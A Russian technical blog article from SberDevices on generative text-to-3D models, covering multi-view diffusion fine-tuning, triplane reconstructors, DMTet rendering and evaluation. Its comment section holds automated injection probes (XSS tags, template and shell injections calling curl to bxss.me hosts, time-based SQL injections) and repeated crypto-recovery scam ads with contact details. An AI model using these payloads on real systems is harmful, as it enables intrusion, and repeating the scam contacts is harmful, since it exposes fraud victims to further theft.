Русский
EnglishCryptocurrencies:
9512 /
Markets: 114689
Market Cap: $ 3 787 132 962 593 /
24h Vol: $ 200 392 171 953 /
BTC
Dominance: 58.653467328398%
Новости
Генеративные 3D модели
Введение
Салют, Хабр! На связи Игорь Пасечник — технический лид направления XR RnD SberDevices. Сегодня я хочу рассказать про одно из наших направлений исследований — разработку генеративных моделей для 3D-контента.
Современные методы генерации 2D-контента, такие, как 2D-диффузионные модели (Kandinsky 3.0, SDXL), уже достигли впечатляющих результатов и несколько лет являются неотъемлемой частью современности, генеративные видео модели также активно развиваются. Кульминацией развития таких подходов, вероятно, станет представленная не так давно модель Sora. Тем не менее большинство из этих моделей до сих пор испытывают проблемы при генерации консистентных 3D-сцен и объектов.
С другой стороны, существует конвенциональная 3D-графика, а также огромная индустрия и множество прикладных областей, включая игры, XR, дизайн, архитектуру, маркетинг, 3D-проектирование, где используются пайплайны на основе 3D-графики и производится контент на их основе. Методы создания 3D-моделей, такие, как ручное моделирование, 3D-сканирование и фотограмметрия, могут быть трудоёмкими, дорогостоящими и требующими специальных навыков. 3D-продакшн в общем виде использует множество инструментов для создания и рендеринга тяжелой фотореалистичной графики, адаптация генеративных 3D-пайплайнов под такие подходы достаточно тяжела из-за множества инструментов, которые такие пайплайны должны поддерживать. Также адаптация больших латентных генеративных 2D-моделей вроде SORA для прикладных задач фотореалистичной графики может стать альтернативой классическими пайплайнам на основе физического моделирования. Тем не менее, на текущий момент пайплайны работы с графикой, использующие базовый набор примитивов, включая меши, PBR-текстуры, простые модели освещения, закрывают множество прикладных задач и также могут быть востребованы у массового пользователя в случае их демократизации.
Учитывая это, мы решили свести свои исследования в области генеративного 3D к решению нескольких задач:
Научиться генерировать консистентные multi-view изображения объектов по тексту или картинкам, используя 2D-генеративные модели.
Научиться генерировать 3D-ассеты для практического использования по тексту или картинкам.
Научиться делать быструю и достаточно качественную 3D-реконструкцию.
Научиться создавать консистентные визуализации объектов (3D-гифки).
Мы разработали семейство генеративных 3D-моделей на основе 2D-моделей Сбера, проведя работу с данными, выбрав лучшие компоненты из доступных на текущий момент архитектур, а также внеся дополнительные новшества, достигнув SOTA-результатов относительно open-source и проприетарных моделей.
Общая архитектура пайплайна (Text-to-3D)
На текущий момент существует несколько методов быстрой генерации 3D-контента по тексту:
С помощью обучения single-view реконструктора можно получать 3D-объект из любой модели генерации картинок (Kandinsky, Stable Diffusion и прочие). Данный реконструктор может быть feed-forward-моделью как в LRM без вариативности в генерации новых ракурсов, либо через диффузию, как DMV3D с возможностью обусловливания на текст напрямую, либо с обусловливанием на изображение.
По аналогии можно обучить реконструктор sparse-view и использовать диффузионную модель генерации картинок, дообученную на генерацию sparse-view, для получения 3D-объектов. Свой sparse-view генератор изображений представили в ImageDream, MVDream, Instant3D, SPAD, CRM, Wonder3D. В реконструкторе sparse-view модели были обучены с разными рендерингами: volumetric rendering используется в трансформерной модели Instant3D, PF-LRM, гауссовский рендеринг используется в GRM, LGM, mesh-based рендеринг flexicubes используется в CRM.
В качестве генераторов dense-view используют диффузионные модели для видео, обученные генерировать облеты объектов в работах V3D, VFusion3D, SV3D. Для данных dense-view генераций уже необязательно использовать какие-то дополнительные реконструкционные модели.
Также долгое время в качестве текст-3D генераторов использовались модели на основе дистилляции текстового промпта через SDS loss. Данные методы работали по-объектно и занимали большое время на генерацию. Недавно было представлено несколько моделей на основе дистилляции ATT3D, AToM и LATTE3D, обученные на множестве промптов одновременно без использования 3D-данных в качестве референса.
Также есть подходы, которые учат текст-3D модели напрямую, без использования картиночных или видео генераторов. Один из таких подходов GVGEN учится на подсете из 36 тыс. объектов обжаверса, использует гауссовый рендеринг, для которого как раз и нужно иметь 3D-объект, а не его рендеринг.
Изучив все возможные варианты, мы пришли к выводу, что для нашей задачи оптимальным является использование двухстадийного подхода:
Модель первого этапа: дообученная 2D-диффузионная модель (SDXL/Kandinsky 3.0) для генерации консистентных multi-view картинок. Это позволяет сохранить широкий спектр генерируемых образов и визуальное качество изображений, унаследованных от базовой модели.
Модель второго этапа: обучение универсальных моделей реконструкторов для генерации конечного 3D-представления, которые могут работать как на сгенерированных картинках из первого этапа, так и для реконструкции объектов по реальным фотографиям.
В рамках такого подхода можно выделить четыре относительно независимых компонента:
модель первого этапа;
реконструирующий генератор;
латентное 3D-представление;
алгоритм дифференцируемого рендерера.
При создании 3D-объектов мы хотели дать модели всю необходимую информацию о сцене, исключив неопределенности в аспекте геометрии и текстуры. Для получения достаточной информации о генерируемом объекте требуется иметь несколько фотографий сцены с нескольких точек обзора с оптимальными параметрами расположения камер для перекрытия областей обзора. Мы пришли к выводу, что в контексте наших задач не имеет смысла использовать более четырёх ортогональных точек зрения на объект, поэтому мы дообучаем 2D-диффузионную модель для генерации четырех ортогональных ракурсов объекта. Это количество точек обзора является достаточным для реконструкции сцены и сохранения детализации текстур, текущее разрешение синтеза лучших моделей (1024 × 1024) позволяет разделить его на сетку 2 × 2, обеспечивая всё ещё приемлемое качество каждого отдельного вида объекта (512 × 512). Вторым этапом модели является реконструктор, который, используя четыре поступивших на вход изображения, создаёт промежуточное представление сцены в виде триплейнов — ортогональных латентных плоскостей. Наиболее ресурсоёмкой операцией при таком подходе является диффузионная модель. Применив дистилляцию к зафайнтюненой модели первого этапа, мы можем сократить общее время созданий 3D-ассета до 4 секунд.
Рассматривая данный подход, финальное качество работы модели будет определяться следующими факторам:
Качеством модели первого этапа, уровнем её детализации;
Качеством работы реконструктора;
Разрешающей способностью 3D-представления;
Разрешающей способностью и экспрессивностью рендерера.
Для скалирования подобных моделей необходимо пропорционально улучшать все 4 фактора.
Рассмотрим поподробнее все этапы обучения, а также то, что нам показалось важным.
Первый этап. Text to consistent multi-view
Данные
Так как размеры 3D-датасетов (GSO, ABO, Shapenet, Objaverse, OmniObject3D) не так велики, как используемые для обучения 2D-диффузионных моделей (LAION), то надо попытаться выжать из них всё. В первую очередь для подготовки данных к этому этапу обучения необходимо обработать с помощью пайплайна рендеринга используемые объекты с четырёх ортогональных направлений. Далее для каждой получившейся картинки получить текстовое описание через модель-разметчик. Оптимальным вариантом нам показалось использовать LLaVA-1.5 и синтезировать информацию из нескольких описаний в единое лаконичное описание сцены. Для более удобного отбора данных мы рассчитали значения CLIP и оценки эстетичности от предсказателя эстетики (обученного на классификаторе LAION-aesthetics). Также мы составили небольшую выборку 3D-моделей, разделили их на две категории «красивые» и «некрасивые», объединили свойства CLIP и обучили небольшой SVM-классификатор. Учитывая, что мы используем на данном этапе синтетические данные, ключевой особенностью, которая редко рассматривается в академической литературе, являются параметры рендеринга освещения материалов. Регулируя эти параметры, мы можем влиять на качество и особенности финальной модели, а также эстетического восприятия пользователем генерируемых объектов.
Обучение
Процесс дообучения модели аналогичен обучению основной модели: на вход модели подаются пары «текст-изображение», представленные в виде сетки из четырёх рендеров объекта в определённом порядке. Эти данные проходят через текстовый и визуальный энкодеры, результатом чего становятся текстовый эмбеддинг и эмбеддинг изображения. Затем представление изображения зашумляется в соответствии с конфигурацией расписания диффузии и передаётся на вход стандартной модели типа U-Net с условным входом в виде текстового эмбеддинга. На выходе получается прогноз модели об уровне зашумления латентного представления.
После завершения этапа обучения в течение 5 часов на 16 GPU мы получаем модель, которая способна на основе текстового описания синтезировать один и тот же объект или сцену с нескольких ракурсов, предоставляя полную информацию о пространственном представлении будущей 3D-модели.
Процесс дообучения модели. Текстовый запрос «мопед»
Благодаря тому, что мы переиспользовали диффузионную модель и дообучали её на небольшом датасете, она не растеряла способности генерировать объекты не из обучающей выборки, однако выучила новую способность — теперь она умеет видеть их с новой стороны. В процессе обучения происходит несколько процессов — смещение модели в сторону стиля, заданного синтетическим данными, деградация исходного разнообразия модели, снижение степени соответствия генерируемых изображений промту, а также увеличение степени консистентности четырех проекций объектов между собой. При длительной оптимизации модель сходится к максимальным 3D консистеным объектам, но при этом падает вариативность геометрии и текстур, поэтому локальный минимум с наилучшим балансом всех факторов достаточно узок и сильно зависит от гиперпараметров, а также оптимального набора данных. Для валидации и выбора оптимальной итерации можно использовать ошибку реконструкции модели второго этапа а также CLIP score.
Пример генерации по текстовому запросу «сердце человека»
Пример генерации по текстовому запросу «яркий цвет гриб растущий на бревне»
Механизмы контроля генерации
Несмотря на успешность дообучения модели, часто требуется дополнительное управление моделью, чтобы гарантировать, что на итоговом изображении четыре синтезированных рендера будут разделены и каждый будет соответствовать проекции обособленного объекта, а не сцены с явно выраженным диффузионным фоном. Для этого приходится прибегать к различным хитростям. Например, можно использовать изображение, состоящее из 4 равномерно распределенных 2D-гауссиан для формирования стартовой точки при генерации итоговых изображений. После создания такого исходного изображения необходимо получить его латентное представление и добавить шум в соответствии с расписанием диффузионного процесса. Этим же методом можно контролировать размер объекта.
Влияние инициализации визуального латента. Текстовый запрос «Астронавт на лошади»
Второй этап. Реконструтор
Общий процесс обучения
В реконструируемом этапе общая идея модели, которую мы используем, выглядит следующим образом:
На вход мы принимаем 4 картинки объекта с разных ракурсов и с помощью реконструируемого генератора получаем из этих картинок triplane-представление, 3 feature-плоскости, на которые проецируется объект.
Затем мы семплируем точки в 3D-пространстве в зависимости от используемой модели рендеринга, получаем соответствующие этим точкам features из триплейнов и декодируем из них с помощью MLP в sdf/opacity/tex_features, которые потом будут использоваться в рендеринге.
Рендерим объект из полученного триплейна с четырёх случайных ракурсов, взятых из датасета, оптимизируем с лоссом LPIPS + mse между отрендеренными изображениями и изображениями из датасета, соответствующим этим ракурсам.
В рамках такой схемы мы рассмотрели два вида архитектур генераторов и несколько архитектур рендерера.
Генератор триплейна на основе трансформера (instant3d)
Одной из первых работ, использующих такой подход к реконструкции, является Instant3d, она же на текущий момент демонстрирует одни из лучших результатов по синтетическим метрикам.
Однако базовая архитектура имеет ряд недостатков, не указанных в статье, а именно — ограниченную детализацию текстуры, блочные артефакты для высокочастотных регионов, низкое разрешение выходного триплейна. Модифицировав исходную архитектуру, включая расширение внутреннего представления генератора до 64 × 64, использовав DINOv2 энкодеры с регистрами, а также более сложный upsampler, мы смогли получить лучшие результаты и избавиться от артефактов, однако общая архитектура модели вносит ограничения в масштабируемость такого подхода, потому что увеличение количества параметров генератора не влияет в явном виде на детализацию текстур на объекте, а лишь на способность генератора фьюзить входные данные в целевое представление объекта.
Генератор на основе U-Net
Альтернативным вариантом для реконструкционного генератора является использование генератора на основе U-Net для предсказания триплейнов. Один из таких вариантов в частности используется в ряде подходов, включая CRM. Наилучшие результаты в рамках SBS в задаче text-to-3D из четырёх ортогональных картинок, полученных в результате применения первого этапа, получил именно такой подход. Четыре картинки каноническим образом могут быть отождествлены с рассматриваемой триплейновой репрезентацией. На наш взгляд предсказание более чем четырёх view на первом этапе является избыточным, поэтому для горизонтального триплейна используется обучаемый позиционный эмбеддинг. Тем не менее, на картинке видно, что модели удается выучить хорошую репрезентацию для этого триплейна. Основное преимущество данного генератора в возможности генерировать триплейны в разрешении равном входным картинкам (512x512), что позволяет повысить качество деталей при рендеринге, в сравнении с instant3d-генератором, максимальное разрешение триплейнов для которого не превышает 128 без использования апсемлера. Число каналов в используемом U-Net для каждого разрешения: [128, 256, 256, 512, 512, 1024], начиная с 512 и заканчивая 16, по 2 ResNet блока для каждого разрешения, что в результате дает около 300 млн обучаемых параметров. Также, начиная с разрешения 64, используется self-attention.
Рендеринг
На текущий момент существует множество подходов к дифференцируемому нейронному рендерингу: стандартный волюметрик, NeuS, gaussian splatting, DMTet, FlexiCubes и множество других. Проведя анализ и эксперименты, мы выбрали два рендерера для нашего пайплайна и двухэтапную схему обучения. На первом этапе мы обучаемся, используя волюметрик рендерер со стандартной экспоненциальной функцией активации — он хорошо изучен, стабильно оптимизируется и достигает высоких значений PSNR. На втором этапе мы дообучаем реконструктор в большем разрешении с рендером на основе DMTet и растеризацией, адаптируя модель к surface-based-геометрии и целевому бюджету по количеству вершин в меше, что позволяет нам впоследствии получать лучшую геометрию при экспорте 3D-ассетов. Перспективным также является использование gaussian splatting, который показывает хорошие результаты и метрики на задачах dense реконструкции, однако исходя из прошлых экспериментов мы пришли к выводу, что наивная адаптация такого подхода к генеративному сетапу требует отказа от нелинейных оптимизаций вроде клонирования и сплита гауссиан, что нивелирует преимущества метода. Также качество, демонстрируемое на задаче реконструкции, вероятно, не может быть обеспечено с текущими архитектурам и бюджету по параметрам генератора.
Для волюметрик-рендерера мы используем достаточно стандартные параметры по аналогии с Instant3d и других подходов, а вот относительно DMTet стоит сказать пару слов более подробно.
DMTet рендеринг
Альтернативным вариантом дифференцируемого рендеринга является DMTet. Алгоритм DMTet состоит из деформируемой тетраэдральной сетки, содержащей функцию расстояния до объекта, signed distance function (sdf), которая в нашем случае аппроксимируется из триплейна на выходе генератора; и дифференцируемого алгоритма marching tetrahedra, который преобразует неявное представление sdf в явное представление поверхностной сетки. У DMTet существуют следующие преимущества перед volumetric рендерингом:
В процессе работы алгоритма получается явное представление 3D-модели в виде меша (набор вершин и граней). Такое представление можно без постпроцессинга использовать в 3D-сценах.
DMTet позволяет разделить явным образом представление геометрии и текстуры в разные компоненты. Такое разделение позволяет замораживать геометрическую компоненту для тюнинга текстурной.
Отделение текстурной компоненты также открывает возможность разделения текстуры на параметры, такие как base color/albedo, specular, metallic (пример nvdiffrec). То есть, DMTet может выдавать текстуру для PhysicallyBased Rendering (PBR).
Переход от volumetric к DMTet
DMTet часто используется для получения мешей и текстур высокого качества в задачах реконструкции единичных объектов, например, nvdiffrec, Fantasia3d или отдельных категорий больших датасетов, например, GET3D. Особенность нашего эксперимента заключается в вариативности данных. Простая замена volumetric рендера на DMTet в нашей реконструкционной модели приводит к ухудшению сходимости модели, вплоть до обучения нулевых функций расстояния sdf. В нашем реконструкторе DMTet выступает финальным этапом тюнинга генератора, позволяющим улучшить геометрию, получить разложение текстуры на компоненты для PBR.
Технические особенности обучения DMTet
DMTet-алгоритм в нашем реконструкторе используется для улучшения качества меша и текстур в большем разрешении, поэтому мы используем достаточно большую тетраэдральную сетку 256 × 256. Триплейн на выходе генератора разделяется на два, а именно геометрический и текстурный. Их размеры тоже увеличиваются по сравнению с volumetric-реконструкцией до 256 для геометрического и 512 для текстурного. На текущем этапе мы не используем алгоритм полного разделения текстуры на параметры PBR, как в, например, Fantasia3D. Корректный PBR-рендеринг требует от модели предсказания не только текстурных свойств объекта, но и генерации окружения модели. Такой подход увеличивает размер модели и замедляет сходимость. В качестве альтернативы полного PBR-разложения мы используем предобученную модель света ENVIDR. Выучив, однако, геометрическую часть DMTet, текстурную можно заменить на корректное PBR-разложение при пообъектном тюнинге, где окружение модели статично и не требует дополнительного генератора.
Обучение реконструирующих моделей
Данные
Для обучения мы используем объединение датасетов Objaverse 1.0 и OmniObject3D, а также Objaverse XL и MVimgNet. Каждый объект из OmniObject3D рендерился со 100 случайных камер на сфере радиуса 4, в качестве обучения использовались все объекты, без дополнительной фильтрации с нашей стороны. В датасете Objaverse, Objaverse XL много объектов низкого качества: не текстурированные, случайные расстановки геометрических объектов, плоскости, что потребовало дополнительной фильтрации датасета. Для этого мы посчитали aesthetic score четырёх противоположных рендерингов для каждого объекта и отфильтровали те объекты, что в среднем дают оценку меньше 3,5. Наилучшие результаты показало обучение в 2 этапа. На первом этапе модель обучается на большой базе с низким порогом отсечения по качеству, на втором этапе — используя только 30% самых лучших данных.
Ресурсы и скорость
Мы провели стандартную инженерную оптимизацию, используемую при обучении больших моделей и неоднократно описанную в рекомендация pytorch и гайдах от крупных компаний. Однако в нашем случае был найден отдельный момент, заслуживающий внимания. Одним из самых узких мест в моделях, использующих сэмплирование из триплейна, является backward стандартной функции grid_sample. Мы написали модифицированную версию torch.nn.functional.grid_sample, которая считает градиенты только по триплейну, а также добавили несколько оптимизаций для ускорения интерполяции градиента в соседних элементах триплейна. Это позволило ускорить backward в 2 раза.
В сумме все оптимизации позволили получить качество, соответствующее базовой модели instant3D, используя 32 карты A100 за 5 дней против 128 карт на 7 дней, как в базовом эксперименте.
Результаты реконструкции на данных из GSO
Оценка реконструируемой модели
Изучив текущие методы валидации подобных моделей, мы пришли к выводу, что наиболее распространенным вариантом является датасет GSO (Google Scanned Objects), состоящий из сканированных реальных объектов, однако этот датасет не имеет референсной методики измерения, и в разных работах используются разные опорные кадры и метод рендеринга референсных картинок, что не позволяет достоверно сравнивать подходы. Мы использовали параметры валидации из Instant3D — входные изображения брались с фиксированных позиций на elevation 20 и азимутом 0, 90, 180, 270. Метрики измерялись на разрешении 128.
PSNR↑ | LPIPS↓ | SSIM↑ | |
Instant3d paper reference | 26,54 | 0,0643 | 0,8934 |
Ours transformer free view + volumetric | 24,16 | 0,033 | 0,88 |
Ours transformer free view + DMTet | 21,38 | 0,062 | 0,82 |
Ours U-Net orthogonal 4-view + volumetric | 23,60 | 0,036 | 0,87 |
Ours U-Net orthogonal 4-view + DMTet | 23.58 | 0.075 | 0.88 |
Метрики в разрешении 512.
PSNR↑ | LPIPS↓ | SSIM↑ | |
Ours transformer free view + volumetric | 24,24 | 0,069 | 0,876 |
Ours transformer free view + DMTet | 20,84 | 0,073 | 0,84 |
Ours U-Net orthogonal 4-view + volumetric | 23,63 | 0,057 | 0,87 |
Ours U-Net orthogonal 4-view + DMTet | 22.8 | 0.096 | 0.87 |
Оценка и SBS
При выборе стратегии валидации для модели мы применяли как синтетические метрики, так и результаты side-by-side тестирования. Синтетические тесты и сравнение метрик позволяют оценить этапы, где можно достичь некоторого численного идеала, например, при реконструкции. Оценка визуальной привлекательности и консистентности генеративной модели с помощью набора чисел более сложна, и для этого мы проводили субъективные исследования с участием групп разметки.
Мы использовали несколько банков текстовых описаний: в качестве базового использовали DF411 из статьи DreamFusion, который включает 415 сложных композиционных промптов (например: «Кенгуру сидит на лавочке и играет на аккордеоне»), часто используемых для валидации методов преобразования текста в 3D-модели. Однако она ограничена и не включает множество практических кейсов, в связи с этим мы составили собственный набор текстовых промптов, собранных из различных публичных источников, включая ручной сбор неудачных примеров, отобранные по разным критериями промты 2D-бенчмарка JourneyDB, тестовую базу gpt3eval.
Для оценки моделей и различных изменений мы предоставляли разметчикам два варианта видео виртуального облета объекта, сгенерированных двумя моделями. Затем они должны были ответить на несколько простых вопросов: «Какой объект вам больше нравится?» и «Какое видео лучше соответствует текстовому описанию?». Для более детальных UX-исследований им требовалось объяснить свое решение, а также указать, что им нравится или не нравится в отдельных видео.
Такой подход способен оценить целиком end-to-end пайплайн, включая качество реконструтора, соответствие промпту, консистентность, уровень детализации, эстетическую и художественную привлекательность.
В качестве бейзлайна мы выбрали одну из наиболее современных проприетарных моделей от Luma AI (Genie).
DF411 | Ours | Genie |
Более красивая | 38 | 62 |
Соответствие промту | 28 | 72 |
Примеры генераций
Использование предобученных 2D-диффузионных моделей позволяет использовать все стилевые модификаторы, хорошо изученные для 2D-кейсов, мы сохраняем все разнообразие исходной 2D-модели.
Генерации текущего поколения моделей дают достаточно интересные результаты, хотя в среднем худшее соответствие промпту, чем 2D-модель, и меньший success rate, учитывая необходимость генерации консистентных объектов.
Заключение
Адаптация 2D-диффузионных картиночных и видео моделей к консистентной генерации, используя ограниченные вычислительные ресурсы и синтетические данные, является промежуточных шагом между моделями текущего поколения и моделями следующего поколения вроде Sora, обученных на огромном вычислительном ресурсе и большом количестве данных. Преимущество подобных моделей в том, что они работают быстро и позволяют использовать текущее поколение конвенциональных технологий создания и доставки 3D-контента на клиентские устройства.
В текущий момент мы прорабатываем дополнительный функционал, включая генерацию PBR-текстур, hi-res-ассетов, оптимальной топологии меша, а также повышения качества и детализации моделей.
В ближайшее время мы собираемся предоставить доступ к подробному техническому репорту, метрикам, валидационным корзинам. А сейчас наши модели доступны в тестовом доступе на developers.sber.ru. Следите за новостями!
Коллектив авторов: Михаил Мазуров, Наталья Соболева, Дарья Мусаткина, Фанзиль Набияров, Данил Ельцов, Марина Ярославцева, Игорь Пасечник, а также наша продуктовая команда Яна Чаруйская и Кирилл Субботин.
Также рассказ от Михаила Мазурова с конференции GIGA R&D DAY.
По всем вопросам и предложениям, а также в поисках сотрудничества просьба связываться в телеграмме @ipasechnik@charuyskaya
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
